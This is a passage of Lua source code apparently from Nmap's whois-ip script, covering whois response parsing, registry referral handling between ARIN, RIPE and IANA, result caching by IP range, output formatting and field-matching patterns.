) ~= \"string\" or response == \"\" then return data end\n\n local meta, mirrored_db\n local last_db, this_db, next_db = tracking.last_db, (tracking.this_db or tracking.last_db), tracking.next_db\n data[this_db] = {}\n\n -- check for foreign resource\n for _, db in pairs( nmap.registry.whois.whoisdb ) do\n if type( db ) == \"table\" and type( db.id ) == \"string\" and db.id ~= \"iana\" and db.id ~= this_db and type( db.hostname ) == \"string\" then\n local pattern = db.id:upper() .. \".*%s*resource:%s*\" .. db.hostname\n if response:match( pattern ) then\n mirrored_db = db.id\n meta = db\n meta.redirects = nil\n break\n end\n end\n end\n\n meta = meta or nmap.registry.whois.whoisdb[this_db]\n\n -- do we recognize objects in the response?.\n local have_objects\n if type( meta ) == \"table\" and type( meta.fieldreq ) == \"table\" and type( meta.fieldreq.ob_exist ) == \"string\" then\n have_objects = response:match( meta.fieldreq.ob_exist )\n else\n stdnse.debug2(\"Could not check for objects, problem with meta data.\")\n have_objects = false\n end\n\n -- if we do not recognize objects check for an known error/non-object message\n if not have_objects then\n stdnse.debug4(\"%s has not responded with the expected objects.\", this_db)\n local tmp, msg\n -- may have found our record saying something similar to \"No Record Found\"\n for _, pattern in ipairs( nmap.registry.whois.m_none ) do\n local pattern_l = pattern:gsub( \"$addr\", ip:lower() )\n local pattern_u = pattern:gsub( \"$addr\", ip:upper() )\n msg = response:match( pattern_l ) or response:match( pattern_u )\n if msg then\n stdnse.debug4(\"%s responded with a message which is assumed to be authoritative (but may not be).\", this_db)\n break\n end\n end\n -- may have an error\n if not msg then\n for _, pattern in ipairs( nmap.registry.whois.m_err ) do\n msg = response:match( pattern )\n if msg then\n stdnse.debug4(\"%s responded with an ERROR message.\", this_db)\n break\n end\n end\n end\n -- if we've recognized a non-object message,\n if msg then\n add_to_cache( ip, nil, nil, \"Message from \" .. nmap.registry.whois.whoisdb[this_db].hostname .. \"\\n\" .. msg )\n return data\n end\n end\n\n -- the query response may not contain the set of objects we were expecting and we do not recognize the response message.\n -- it may contain a record mirrored (or found by recursion) from a different service\n if not have_objects then\n local foreign_obj\n for setname, set in pairs( nmap.registry.whois.fields_meta ) do\n if set ~= nmap.registry.whois.whoisdb[this_db].fieldreq and response:match(set.ob_exist) then\n foreign_obj = setname\n stdnse.debug4(\"%s seems to have responded using the set of objects named: %s.\", this_db, foreign_obj)\n break\n end\n end\n if foreign_obj and foreign_obj == \"rpsl\" then\n mirrored_db = nmap.registry.whois.whoisdb.ripe.id\n meta = nmap.registry.whois.whoisdb.ripe\n meta.redirects = nil\n have_objects = true\n stdnse.debug4(\"%s will use the display properties of ripe.\", this_db)\n elseif foreign_obj then\n -- find a display to match the objects.\n for some_db, db_props in pairs( nmap.registry.whois.whoisdb ) do\n if db_props.fieldreq and nmap.registry.whois.fields_meta[foreign_obj] and db_props.fieldreq == nmap.registry.whois.fields_meta[foreign_obj] then\n mirrored_db = nmap.registry.whois.whoisdb[some_db].id\n meta = nmap.registry.whois.whoisdb[some_db]\n meta.redirects = nil\n have_objects = true\n stdnse.debug4(\"%s will use the display properties of %s.\", this_db, some_db)\n break\n end\n end\n end -- if foreign_obj\n end\n\n -- extract fields from the entire response for record/redirect discovery\n if have_objects then\n stdnse.debug4(\"Parsing Query response from %s.\", this_db)\n data[this_db] = extract_objects_from_response( response, this_db, meta )\n end\n\n local response_chunk, found, nextdb\n\n -- do record/redirect discovery, cache found redirect\n if not nmap.registry.whois.nofollow and have_objects and meta.redirects then\n stdnse.debug4(\"Testing response for redirection.\")\n found, nextdb, data.iana = redirection_rules( this_db, data, meta )\n end\n\n -- get most specific assignment and handle arin's organisation-focused record layout and then\n -- modify the data table depending on whether we're redirecting or quitting\n if have_objects then\n\n stdnse.debug5(\"Extracting Fields from response.\")\n\n -- optionally constrain response to a more focused area\n -- discarding previous extraction\n if meta.smallnet_rule then\n local offset, ptr, strbgn, strend\n response_chunk, offset = constrain_response( response, this_db, ip, meta )\n if offset > 0 then\n data[this_db] = extract_objects_from_response( response_chunk, this_db, meta )\n end\n if offset > 1 and meta.unordered then\n -- fetch an object immediately in front of inetnum\n stdnse.debug5(\"%s Searching for an object group immediately before this range.\", this_db)\n -- split objects from the record, up to offset. Last object should be the one we want.\n local obj_sel = stringaux.strsplit( \"\\r?\\n\\r?\\n\", response:sub( 1, offset ) )\n response_chunk = \"\\n\" .. obj_sel[#obj_sel] .. \"\\n\"\n -- check if any of the objects we like match this single object in response chunk\n for ob, t in pairs( meta.fieldreq ) do\n if ob ~= \"ob_exist\" and type( t.ob_start ) == \"string\" and response_chunk:match( t.ob_start ) then\n data[this_db][ob] = extract_objects_from_response( response_chunk, this_db, meta, ob )\n end\n end\n\n end -- if offset\n end -- if meta.smallnet_rule\n\n -- collect, from each extracted object, the tables of field values and positions and concatenate these\n -- to provide the ability to easily compare two results\n local coll, comp = {}, \"\"\n for ob, t in pairs( data[this_db] ) do\n for i, comp_string in pairs( t.for_compare ) do\n coll[#coll+1] = { i, comp_string }\n end\n -- kill these now they're collected\n data[this_db][ob].for_compare = nil\n end\n -- sort them by position in the record, ascending\n table.sort( coll, function(a,b) return a[1]<b[1] end )\n -- concatenate them to create a long string we can compare. Assign to .comparison after the debug bit following...\n for i, v in ipairs( coll ) do\n comp = comp .. v[2]\n end\n\n -- DEBUG\n stdnse.debug5(\"%s Fields captured :\", this_db)\n for ob, t in pairs( data[this_db] ) do\n for fieldname, fieldvalue in pairs( t ) do\n stdnse.debug5(\"%s %s.%s %s.\", this_db, ob, fieldname, fieldvalue)\n end\n end\n\n -- add comparison string to extracted data\n data[this_db].comparison = comp\n\n -- add mirrored_db to extracted data\n data[this_db].mirror = mirrored_db\n\n end -- have objects\n\n -- If we are accepting a record, only cache the data for that record\n if (have_objects and not nextdb) or nmap.registry.whois.nofollow then\n -- no redirect - accept as result and clear any previous data\n data = data[this_db]\n data.id = this_db\n elseif nextdb and table.concat( tracking.completed, \" \" ):match( nextdb ) then\n -- redirected to a previously queried service - accept as result\n data = data[nextdb]\n data.id = nextdb\n nextdb = nil\n elseif have_objects and ( data.iana > 1 ) and not table.concat( tracking.completed, \" \" ):match( nmap.registry.whois.whoisdb.arin.id ) then\n -- two redirects to IANA - query ARIN next (which we should probably have done already!)\n nextdb = nmap.registry.whois.whoisdb.arin.id\n elseif have_objects and ( data.iana > 1 ) and table.concat( tracking.completed, \" \" ):match( nmap.registry.whois.whoisdb.arin.id ) then\n -- two redirects to IANA - accept result from ARIN\n data = data[nmap.registry.whois.whoisdb.arin.id]\n data.id = nmap.registry.whois.whoisdb.arin.id\n nextdb = nil\n elseif not have_objects then\n data = data[this_db]\n data.id = this_db\n end\n\n -- cache our analysis\n local range\n\n if have_objects then\n\n if data[this_db] and data[this_db].ob_netnum then\n range = data[this_db].ob_netnum[meta.reg]\n elseif data.ob_netnum and data.mirror then\n range = data.ob_netnum[nmap.registry.whois.whoisdb[data.mirror].reg]\n elseif data.ob_netnum then\n range = data.ob_netnum[nmap.registry.whois.whoisdb[data.id].reg]\n end\n\n -- if nocache then enforce a smallest allowed prefix length\n -- (these values should match those in add_to_cache)\n if not nmap.registry.whois.using_cache and not nextdb then\n local smallest_allowed_prefix = 29\n if range:match( \":\" ) then\n smallest_allowed_prefix = 48\n end\n local range_prefix = get_prefix_length( range )\n if type( range_prefix ) ~= \"number\" or range_prefix < smallest_allowed_prefix then\n range = nil\n end\n end\n\n -- prevent caching (0/0 or /8) or (::/0 or /23) or\n range = not_short_prefix( ip, range, nextdb )\n\n end\n\n add_to_cache( ip, range, nextdb, data )\n\n return data\n\nend\n\n\n\n---\n-- Extracts Whois record objects (or a single object) and accompanying fields from the supplied (possibly partial) response to a whois query.\n-- If a fifth parameter specific_object is not supplied, all objects defined in fields_meta will be captured if they are present in the response.\n-- @param response_string String obtained from a service in response to our query.\n-- @param db String id of the whois service queried.\n-- @param meta Table, nmap.registry.whois.whoisdb[db] where db is either the service queried or a mirrored service.\n-- @param specific_object Optional string index of a single object defined in fields_meta (e.g. \"inetnum\").\n-- @return Table indexed by object name containing the fields captured for each object found.\n\nfunction extract_objects_from_response( response_string, db, meta, specific_object )\n\n local objects_to_extract = {}\n local extracted_objects = {}\n\n if type( response_string ) ~= \"string\" or response_string == \"\" then return {} end\n if type( meta ) ~= \"table\" or type( meta.fieldreq ) ~= \"table\" then return {} end\n\n -- we either receive a table for one object or for all objects\n if type( specific_object ) == \"string\" and meta.fieldreq[specific_object] then\n objects_to_extract[specific_object] = meta.fieldreq[specific_object]\n stdnse.debug5(\"Extracting a single object: %s.\", specific_object)\n else\n stdnse.debug5(\"Extracting all objects.\")\n objects_to_extract = meta.fieldreq\n end\n\n for object_name, object in pairs( objects_to_extract ) do\n if object_name and object_name ~= \"ob_exist\" then\n stdnse.debug5(\"Seeking object group: %s.\", object_name)\n extracted_objects[object_name] = {}\n extracted_objects[object_name].for_compare = {} -- this will allow us to compare two tables\n -- get a substr of response_string that corresponds to a single object\n local ob_start, j = response_string:find( object.ob_start )\n local i, ob_end = response_string:find( object.ob_end, j )\n -- if we could not find the end, make the end EOF\n ob_end = ob_end or -1\n if ob_start and ob_end then\n stdnse.debug5(\"Capturing: %s with indices %s and %s.\", object_name, ob_start, ob_end)\n local obj_string = response_string:sub( ob_start, ob_end )\n for fieldname, pattern in pairs( object ) do\n if fieldname ~= \"ob_start\" and fieldname ~= \"ob_end\" then\n local data_pos, data_string = obj_string:find( pattern ), trim( obj_string:match( pattern ) )\n if data_string then\n extracted_objects[object_name][fieldname] = data_string\n extracted_objects[object_name].for_compare[data_pos+ob_start] = data_string\n end\n end\n end\n end -- if ob_start and ob_end\n\n end -- if object_name\n end -- for object_name\n\n if specific_object then extracted_objects = extracted_objects[specific_object] end -- returning one object\n\n return extracted_objects\n\nend -- function\n\n\n\n---\n-- Checks for referrals in fields extracted from the whois query response.\n-- @param db String id of the whois service queried.\n-- @param data Table, indexed by whois service id, of extracted fields.\n-- @param meta Table, nmap.registry.whois.whoisdb[db] where db is either the service queried or a mirrored service.\n-- @return Boolean \"found\". True if a referral is not found (i.e. No Referral means the desired record has been \"found\"), otherwise False.\n-- @return String \"redirect\". Service id to which we are referred, or nil.\n-- @return Number \"iana_count\". This is the total number of referral to IANA for this Target (for all queries) and is stored in data.iana.\n-- @see redirection_validation\n\nfunction redirection_rules( db, data, meta )\n\n if type( db ) ~= \"string\" or db == \"\" or type( data ) ~= \"table\" or not next( data ) then\n return false, nil, nil\n end\n\n local found = false\n local redirect = nil\n local iana_count\n if type( data.iana ) == \"number\" then\n iana_count = data.iana\n else\n iana_count = 0\n end\n\n if not meta or not meta.redirects then\n return found, redirect, iana_count\n end\n\n ---\n -- Decides the value of a redirect and whether it should be followed. Referrals to IANA, found in whois records that represent the\n -- \"Whole Address Space\", are acted upon by redirecting to ARIN or accepting the record from ARIN if it was previously queried. This\n -- function also catches (ignores) referrals to the referring service - which happens as a side-effect of the method of redirection detection.\n -- The return values of this function will be returned by its parent function.\n -- @param directed_to String id of a whois service.\n -- @param directed_from String id of a whois service.\n -- @param icnt Number of total redirects to IANA.\n -- @return Boolean \"found\". True if a redirect is not found or ignored, otherwise False.\n -- @return String \"redirect\". Service id to which we are redirected, or nil.\n -- @return Number \"iana_count\" which is incremented here if applicable.\n\n local redirection_validation = function( directed_to, directed_from, icnt )\n\n local iana = nmap.registry.whois.whoisdb.iana.id\n local arin = nmap.registry.whois.whoisdb.arin.id\n\n -- arin record points to iana so we won't follow and we assume we have our record\n if directed_to == iana and directed_from == arin then\n stdnse.debug4(\"%s Accept arin record (matched IANA).\", directed_from)\n return true, nil, ( icnt+1 )\n end\n\n -- non-arin record points to iana so we query arin next\n if directed_to == iana then\n stdnse.debug4(\"Redirecting to arin (matched IANA).\")\n return false, arin, ( icnt+1 )\n end\n\n -- a redirect, but not to iana or to self, so we follow it.\n if directed_to ~= nmap.registry.whois.whoisdb[directed_from].id then\n stdnse.debug4(\"%s redirects us to %s.\", directed_from, directed_to)\n return false, directed_to, icnt\n end\n\n -- redirect to self\n return true, nil, icnt\n\n end --redirection_validation\n\n -- iterate over each table of redirect info for a specific field\n for _, redirect_elems in ipairs( meta.redirects ) do\n\n local obj, fld, pattern = table.unpack( redirect_elems ) -- three redirect elements\n -- if a field has been captured for the given redirect info\n if data[db][obj] and data[db][obj][fld] then\n\n stdnse.debug5(\"Seek redirect in object: %s.%s for %s.\", obj, fld, pattern)\n -- iterate over nmap.registry.whois.whoisdb to find pattern (from each service) in the designated field\n for member, mem_properties in pairs( nmap.registry.whois.whoisdb ) do\n\n -- if pattern if found in the field, we have a redirect to member\n if type( mem_properties[pattern] ) == \"string\" and string.lower( data[db][obj][fld] ):match( mem_properties[pattern] ) then\n\n stdnse.debug5(\"Matched %s in %s.%s.\", pattern, obj, fld)\n return redirection_validation( nmap.registry.whois.whoisdb[member].id, db, iana_count )\n\n elseif type( mem_properties[pattern] ) == \"table\" then\n\n -- pattern is an array of patterns\n for _, pattn in ipairs( mem_properties[pattern] ) do\n if type( pattn ) == \"string\" and string.lower( data[db][obj][fld] ):match( pattn ) then\n stdnse.debug5(\"Matched %s in %s.%s.\", pattern, obj, fld)\n return redirection_validation( nmap.registry.whois.whoisdb[member].id, db, iana_count )\n end\n end\n\n end\n\n end -- for mem, mem_properties\n\n end\n\n end -- for _,v in ipairs\n\n -- if redirects have not been found then assume that the record has been found.\n found = true\n return found, redirect, iana_count\n\nend\n\n\n\n---\n-- Attempts to reduce the query response to a subset containing the most specific assignment information.\n-- It does this by collecting inetnum objects (and their positions in the response) and choosing the smallest assignment represented by them.\n-- A subset beginning with the most specific inetnum object and ending before any further inetnum objects is returned along with the position\n-- of the subset within the entire response.\n-- @param response String obtained from a whois service in response to our query.\n-- @param db String id of the service from which the response was obtained.\n-- @param ip String representing the Target's IP address.\n-- @param meta Table, nmap.registry.whois.whoisdb[db] where db is either the service queried or a mirrored service.\n-- @return String containing the most specific part of the response (or the entire response if only one inetnum object is present).\n-- @return Number position of the start of the most specific part of the response.\n-- @see smallest_range\n\nfunction constrain_response( response, db, ip, meta )\n local strbgn = 1\n local strend = 1\n local ptr = 1\n local mptr = {}\n local bound = nil\n\n -- collect all inetnums objects (and their position) into a table\n while strbgn and meta.fieldreq do\n strbgn, strend = response:find( meta.fieldreq.ob_exist, strend )\n if strbgn then\n local pair = {}\n pair.pointer = strbgn\n pair.range = trim( response:match( meta.smallnet_rule, strbgn ) )\n mptr[#mptr+1] = pair\n end\n end\n\n if # mptr > 1 then\n -- find the closest one to host.ip and constrain the response to it\n stdnse.debug5(\"%s Focusing on the smallest of %s address ranges.\", db, #mptr)\n -- sort the table mptr into nets ascending\n table.sort( mptr, smallest_range )\n -- select the first net that includes host.ip\n local str_net\n local index\n for i, pointer_to_inetnum in ipairs( mptr ) do\n if ipOps.ip_in_range( ip, pointer_to_inetnum.range ) then\n str_net = pointer_to_inetnum.range\n ptr = pointer_to_inetnum.pointer\n index = i\n break\n end\n end\n\n if mptr[index+1] and ( mptr[index+1].pointer > mptr[index].pointer ) then\n bound = mptr[index+1].pointer\n end\n stdnse.debug5(\"%s Smallest range containing target IP addr. is %s.\", db, trim( str_net ))\n -- isolate inetnum and associated objects\n if bound then\n stdnse.debug5(\"%s smallest range is offset from %s to %s.\", db, ptr, bound)\n -- get from pointer to bound\n return response:sub(ptr,bound), ptr\n else\n stdnse.debug5(\"%s smallest range is offset from %s to %s.\", db, ptr, \"the end\")\n -- or get the whole thing from the pointer onwards\n return response:sub(ptr), ptr\n end\n end -- if # mptr\n\n return response, 0\n\nend -- function\n\n\n\n---\n-- This function prevents the caching of large ranges in certain circumstances which would adversely affect lookups against the cache.\n-- Specifically we don't allow a cache entry including either a referral or a found record with a range equal to 0/0 or ::/0.\n-- Instead we cache an /8 or, in the case of IPv6, /23 - These are large, but safer ranges.\n-- Additionally, we don't allow a cache entry for a found record with ranges larger than IPv4 /8 and IPv6 /23.\n-- Instead we cache an /24 or, in the case of IPv6, /96 - These are small ranges and are a fair trade-off between accuracy and repeated queries.\n-- @param ip String representing the Target's IP address.\n-- @param range String representing a range of IP addresses.\n-- @usage range = not_short_prefix( ip, range )\n-- @return String range - either the supplied, or a modified one (or nil in case of an error).\n-- @see get_assignment\n\nfunction not_short_prefix( ip, range, redirect )\n\n if type( range ) ~= \"string\" or range == \"\" then return nil end\n\n local err, zero_first, zero_last, fake_prefix, short_prefix, safe_prefix, first, last = {}\n if range:match( \":\" ) then\n short_prefix = 23\n safe_prefix = 96\n zero_first, zero_last, err[#err+1] = ipOps.get_ips_from_range( \"::/0\" )\n else\n short_prefix = 8\n safe_prefix = 24\n zero_first, zero_last, err[#err+1] = ipOps.get_ips_from_range( \"0/0\" )\n end\n\n first, last, err[#err+1] = ipOps.get_ips_from_range( range )\n\n if #err > 0 then\n stdnse.debug1(\"Error in not_short_prefix: s%.\", table.concat( err, \" \" ))\n return nil\n end\n\n if ipOps.compare_ip( first, \"eq\", zero_first ) and ipOps.compare_ip( last, \"eq\", zero_last ) then\n return ( get_assignment ( ip, short_prefix ) )\n elseif not redirect and ( get_prefix_length( range ) <= short_prefix ) then\n return ( get_assignment ( ip, safe_prefix ) )\n end\n\n return range\n\nend\n\n\n\n---\n-- Caches discovered records and referrals in the registry.\n-- The cache is indexed by the Target IP addresses sent as Whois query terms.\n-- A lookup against the cache is performed by testing the cached IP address range, hence a range must always be present in each cache entry.\n-- Where a range is not passed as a parameter, a small assignment containing the Target's IP address is instead cached.\n-- Either a referral or output data should also be present in the cache - so one or the other should always be passed as a parameter.\n-- @param ip String representing the Target's IP address.\n-- @param range String representing the most specific assignment found in a whois record. May be nil.\n-- @param redirect String id of a referred service defined in whoisdb.\n-- @param data Table or String of extracted data.\n-- @see get_assignment\n\nfunction add_to_cache( ip, range, redirect, data )\n\n if type( ip ) ~= \"string\" or ip == \"\" then return end\n\n local af, longest_prefix\n if ip:match( \":\" ) then\n af = \"ipv6\"\n longest_prefix = 48 -- increased from 32 (20080902).\n else\n af = \"ipv4\"\n longest_prefix = 29 -- 8 hosts\n end\n\n -- we need to cache some range so we'll cache the small assignment that includes ip.\n if type( range ) ~= \"string\" or type( get_prefix_length( range ) ) ~= \"number\" then\n range = get_assignment( ip, longest_prefix )\n stdnse.debug5(\"Caching an assumed Range: %s\", range)\n end\n\n nmap.registry.whois.cache[ip] = {} -- destroy any previous cache entry for this target.\n nmap.registry.whois.cache[ip].data = data\n nmap.registry.whois.cache[ip].range = range\n nmap.registry.whois.cache[ip].redirect = redirect\n\nend\n\n\n\n---\n-- When passed to <code>table.sort</code>, will sort a table of tables containing IP address ranges in ascending order of size.\n-- Identical ranges will be sorted in descending order of their position within a record if it is present.\n-- @param range_1 Table: {range = String, pointer = Number}\n-- where range is an IP address range and pointer is the position of that range in a record.\n-- @param range_2 Same as range_1.\n-- @return Boolean True if the positions of range_1 and range_2 in the table being sorted are correct, otherwise false.\n\nfunction smallest_range( range_1, range_2 )\n\n local sorted = true -- return value (defaulting true to avoid a loop)\n local r1_first, r1_last = ipOps.get_ips_from_range( range_1.range )\n local r2_first, r2_last = ipOps.get_ips_from_range( range_2.range )\n\n if range_1.pointer\n and ipOps.compare_ip( r1_first, \"eq\", r2_first )\n and ipOps.compare_ip( r1_last, \"eq\", r2_last )\n and range_1.pointer < range_2.pointer then\n sorted = false\n end\n\n if ipOps.compare_ip( r1_first, \"le\", r2_first ) and ipOps.compare_ip( r1_last, \"ge\", r2_last ) then sorted = false end\n\n return sorted\n\nend\n\n\n\n---\n-- Given an IP address and a prefix length, returns a string representing a valid IP address assignment (size is not checked) which contains\n-- the supplied IP address. For example, with ip = 192.168.1.187 and prefix = 24 the return value will be 192.168.1.1-192.168.1.255\n-- @param ip String representing an IP address.\n-- @param prefix String or number representing a prefix length. Should be of the same address family as ip.\n-- @return String representing a range of addresses from the first to the last hosts (or nil in case of an error).\n-- @return Nil or error message in case of an error.\n\nfunction get_assignment( ip, prefix )\n\n local some_ip, err = ipOps.ip_to_bin( ip )\n if err then return nil, err end\n\n prefix = tonumber( prefix )\n if not prefix or ( prefix < 0 ) or ( prefix > string.len( some_ip ) ) then\n return nil, \"Error in get_assignment: Invalid prefix length.\"\n end\n\n local hostbits = string.sub( some_ip, prefix + 1 )\n hostbits = string.gsub( hostbits, \"1\", \"0\" )\n local first = string.sub( some_ip, 1, prefix ) .. hostbits\n err = {}\n first, err[#err+1] = ipOps.bin_to_ip( first )\n local last\n last, err[#err+1] = ipOps.get_last_ip( ip, prefix )\n if #err > 0 then return nil, table.concat( err, \" \" ) end\n\n return first .. \"-\" .. last\n\nend\n\n\n\n---\n-- Controls what to output at the end of the script execution. Attempts to get data from the registry. If the data is a string it is output as\n-- it is. If the data is a table then <code>format_data_for_output</code> is called. If there is no cached data, nothing will be output.\n-- @param ip String representing the Target's IP address.\n-- @param services_queried Table of strings. Each is the id of a whois service queried for the Target (tracking.completed).\n-- @return String - Host Script Results.\n-- @see get_output_from_cache, format_data_for_output\n\nfunction output( ip, services_queried )\n\n local data = get_output_from_cache( ip )\n\n if type( data ) == \"string\" then\n return data\n elseif type( data ) == \"table\" then\n return format_data_for_output( data )\n end\n\n if type( services_queried ) ~= \"table\" then\n stdnse.debug1(\"Error in output(): No data found.\")\n return nil\n elseif #services_queried == 0 then\n stdnse.debug1(\"Error in output(): No data found, no queries were completed.\")\n return nil\n elseif #services_queried > 0 then\n stdnse.debug1(\"Error in output(): No data found - could not understand query responses.\")\n return nil\n end\n\n return nil -- just to be safe\n\nend\n\n\n\n---\n-- Retrieves data applicable to the Target from the registry. Cached data is only returned if the Target IP matches a key in the cache.\n-- If the Target IP is in a range for which there exists cached data then a pointer string is instead returned.\n-- @param ip String representing the Target's IP address.\n-- @return Table or string or nil.\n-- @see get_cache_key\n\nfunction get_output_from_cache( ip )\n\n local ip_key = get_cache_key( ip )\n if not ip_key then\n stdnse.debug1(\"Error in get_output_from_cache().\")\n return nil\n end\n\n local cache_data = nmap.registry.whois.cache[ip_key]\n\n if ip == ip_key then\n return cache_data.data\n else\n return \"See the result for \" .. ip_key .. \".\"\n end\n\nend\n\n\n\n---\n-- Uses the output_short or output_long tables to format the supplied table of data for output as a string.\n-- @param data Table of captured fields grouped into whois record objects from a single record.\n-- data.id is a string id of the service from which the record was retrieved and data.mirror is a string id of a mirrored service.\n-- @return String, ready for output (i.e. to be returned by action() ).\n\nfunction format_data_for_output( data )\n -- DISPLAY THE FOUND RECORD\n -- ipairs over the table that dictates the order in which fields\n -- should be output\n\n local output, display_owner, display_rules = {}\n if data.mirror then\n display_owner = nmap.registry.whois.whoisdb[data.mirror]\n else\n display_owner = nmap.registry.whois.whoisdb[data.id]\n end\n\n if nmap.verbosity() > 0 then\n display_rules = display_owner.output_long or display_owner.output_short\n else\n display_rules = display_owner.output_short or display_owner.output_long\n end\n if not display_rules then return \"Could not format results for display.\" end\n\n output[#output+1] = \"Record found at \"\n output[#output+1] = nmap.registry.whois.whoisdb[data.id].hostname\n\n for _, objects in ipairs( display_rules ) do\n\n local object_name, fields\n if type( objects[1] ) == \"string\" and objects[1] ~= \"\" and data[objects[1]] then\n object_name = objects[1]\n end\n if object_name and type( objects[2] ) == \"table\" and #objects[2] > 0 then\n fields = objects[2]\n end\n\n if fields then\n for _, field_name in ipairs( fields ) do\n if type( field_name ) == \"string\" and data[object_name][field_name] then\n\n output[#output+1] = \"\\n\"\n output[#output+1] = field_name\n output[#output+1] = \": \"\n output[#output+1] = data[object_name][field_name]\n\n elseif type( field_name ) == \"table\" then\n\n local first_in_line = true\n\n for _, field_name_sameline in ipairs( field_name ) do\n if type( field_name_sameline ) == \"string\" and data[object_name][field_name_sameline] then\n if first_in_line then\n first_in_line = false\n output[#output+1] = \"\\n\"\n else\n output[#output+1] = \" \" -- the space between items on a line\n end\n output[#output+1] = field_name_sameline\n output[#output+1] = \": \"\n output[#output+1] = data[object_name][field_name_sameline]\n\n end\n end\n\n end\n end\n end\n\n end\n\n if #output < 3 then\n output[#output+1] = \", but its content was not understood.\"\n end\n\n return ( table.concat( output ):gsub( \"[%s\\n]\\n\", \"\\n\" ) )\n\nend\n\n\n\n---\n-- Trims space characters from either end of a string and converts an empty string to nil.\n-- @param to_trim String to be trimmed.\n-- @return String, trimmed. If the string is empty before or after trimming (or if the parameter was not a string) then returns nil.\n\nfunction trim( to_trim )\n\n if type( to_trim ) ~= \"string\" or to_trim == \"\" then return nil end\n local trimmed = ( string.gsub( to_trim, \"^%s*(.-)%s*$\", \"%1\" ) )\n if trimmed == \"\" then trimmed = nil end\n return trimmed\n\nend\n\n\n\n---\n-- Called once per script invocation, the purpose of this function is to populate the registry with variables and data for use by all threads.\n-- @see get_args, get_local_assignments_data\n\nfunction script_init()\n\n ---\n -- fields_meta is a table of patterns and captures and defines from which fields of a whois record to extract data.\n -- The fields are grouped into sets of RPSL-like objects with a key (e.g. rpsl, arin) which identifies the set.\n --\n -- ob_exist: A pattern that is used to determine whether a record contains a set of objects.\n -- It does not have to be unique to the set of objects. It does not require captures.\n -- ob_netnum: A RPSL-like object containing fields describing the Address Assignment. This object is mandatory for this script.\n -- Other optional objects include: ob_org (organisation), ob_role (role), ob_persn (person) and ob_cust (customer).\n --\n -- Each object table must contain the following:\n -- ob_start: Pattern for the first field in the object and which marks the start of the object. Does not require captures.\n -- ob_end: Pattern for the last field in the object and which marks the end of the object. Usually ends with \"\\r?\\n\\r?\\n\".\n -- Does not require captures.\n --\n -- The remaining key-value pairs for each object should conform to the following:\n -- key: is a short name for the field in a whois record and which will be displayed in the scripts output to identify the field.\n -- value: is a pattern for the field and contains a capture for the data required to be captured.\n\n nmap.registry.whois.fields_meta = {\n rpsl = {\n ob_exist = \"\\r?\\n?%s*[Ii]net6?num:%s*.-\\r?\\n\",\n ob_netnum = {\n ob_start = \"\\r?\\n?%s*[Ii]net6?num:%s*.-\\r?\\n\",\n ob_end = \"\\r?\\n%s*[Ss]ource:%s*.-\\r?\\n\\r?\\n\",\n inetnum = \"\\r?\\n%s*[Ii]net6?num:%s*(.-)\\r?\\n\",\n netname = \"\\r?\\n%s*[Nn]et[-]-[Nn]ame:%s*(.-)\\r?\\n\",\n nettype = \"\\r?\\n%s*[Nn]et[-]-[Tt]ype:%s*(.-)\\r?\\n\",\n descr = \"[Dd]escr:[^\\r?\\n][%s]*(.-)\\r?\\n\",\n country = \"\\r?\\n%s*[Cc]ountry:%s*(.-)\\r?\\n\",\n status = \"\\r?\\n%s*[Ss]tatus:%s*(.-)\\r?\\n\",\n source = \"\\r?\\n%s*[Ss]ource:%s*(.-)\\r?\\n\"\n },\n ob_org = {\n ob_start = \"\\r?\\n%s*[Oo]rgani[sz]ation:%s*.-\\r?\\n\",\n ob_end = \"\\r?\\n%s*[Ss]ource:%s*.-\\r?\\n\\r?\\n\",\n organisation = \"\\r?\\n%s*[Oo]rgani[sz]ation:%s*(.-)\\r?\\n\",\n orgname = \"\\r?\\n%s*[Oo]rg[-]-[Nn]ame:%s*(.-)\\r?\\n\",\n descr = \"[Dd]escr:[^\\r?\\n][%s]*(.-)\\r?\\n\",\n email = \"\\r?\\n%s*[Ee][-]-[Mm]ail:%s*(.-)\\r?\\n\"\n },\n ob_role = {\n ob_start = \"\\r?\\n%s*[Rr]ole:%s*.-\\r?\\n\",\n ob_end = \"\\r?\\n%s*[Ss]ource:%s*.-\\r?\\n\\r?\\n\",\n role = \"\\r?\\n%s*[Rr]ole:%s*(.-)\\r?\\n\",\n email = \"\\r?\\n%s*[Ee][-]-[Mm]ail:%s*(.-)\\r?\\n\"\n },\n ob_persn = {\n ob_start = \"\\r?\\n%s*[Pp]erson:%s*.-\\r?\\n\",\n ob_end = \"\\r?\\n%s*[Ss]ource:%s*.-\\r?\\n\\r?\\n\",\n person = \"\\r?\\n%s*[Pp]erson:%s*(.-)\\r?\\n\",\n email = \"\\r?\\n%s*[Ee][-]-[Mm]ail:%s*(.-)\\r?\\n\"\n }\n },\n arin = {\n ob_exist = \"\\r?\\n%s*[Nn]et[-]-[Rr]ange:.-\\r?\\n\",\n ob_netnum = {\n ob_start = \"\\r?\\n%s*[Nn]et[-]-[Rr]ange:.-\\r?\\n\",\n ob_end = \"\\r?\\n\\r?\\n\",\n netrange = \"\\r?\\n%s*[Nn]et[-]-[Rr]ange:(.-)\\r?\\n\",\n netname = \"\\r?\\n%s*[Nn]et[-]-[Nn]ame:(.-)\\r?\\n\",\n nettype = \"\\r?\\n%s*[Nn]et[-]-[Tt]ype:(.-)\\r?\\n\"\n },\n ob_org = {\n ob_start = \"\\r?\\n%s*[Oo]rg[-]-[Nn]ame:.-\\r?\\n\",\n ob_end = \"\\r?\\n\\r?\\n\",\n orgname = \"\\r?\\n%s*[Oo]rg[-]-[Nn]ame:(.-)\\r?\\n\",\n orgid = \"\\r?\\n%s*[Oo]rg[-]-[Ii][Dd]:(.-)\\r?\\n\",\n stateprov = \"\\r?\\n%s*[Ss]tate[-]-[Pp]rov:(.-)\\r?\\n\",\n country = \"\\r?\\n%s*[Cc]ountry:(.-)\\r?\\n\"\n },\n ob_cust = {\n ob_start = \"\\r?\\n%s*[Cc]ust[-]-[Nn]ame:.-\\r?\\n\",\n ob_end = \"\\r?\\n\\r?\\n\",\n custname = \"\\r?\\n%s*[Cc]ust[-]-[Nn]ame:(.-)\\r?\\n\",\n stateprov = \"\\r?\\n%s*[Ss]tate[-]-[Pp]rov:(.-)\\r?\\n\",\n country = \"\\r?\\n%s*[Cc]ountry:(.-)\\r?\\n\"\n },\n ob_persn = {\n ob_start = \"\\r?\\n%s*[Oo]rg[-]-[Tt]ech[-]-[Nn]ame:.-\\r?\\n\",\n ob_end = \"\\r?\\n\\r?\\n\",\n orgtechname = 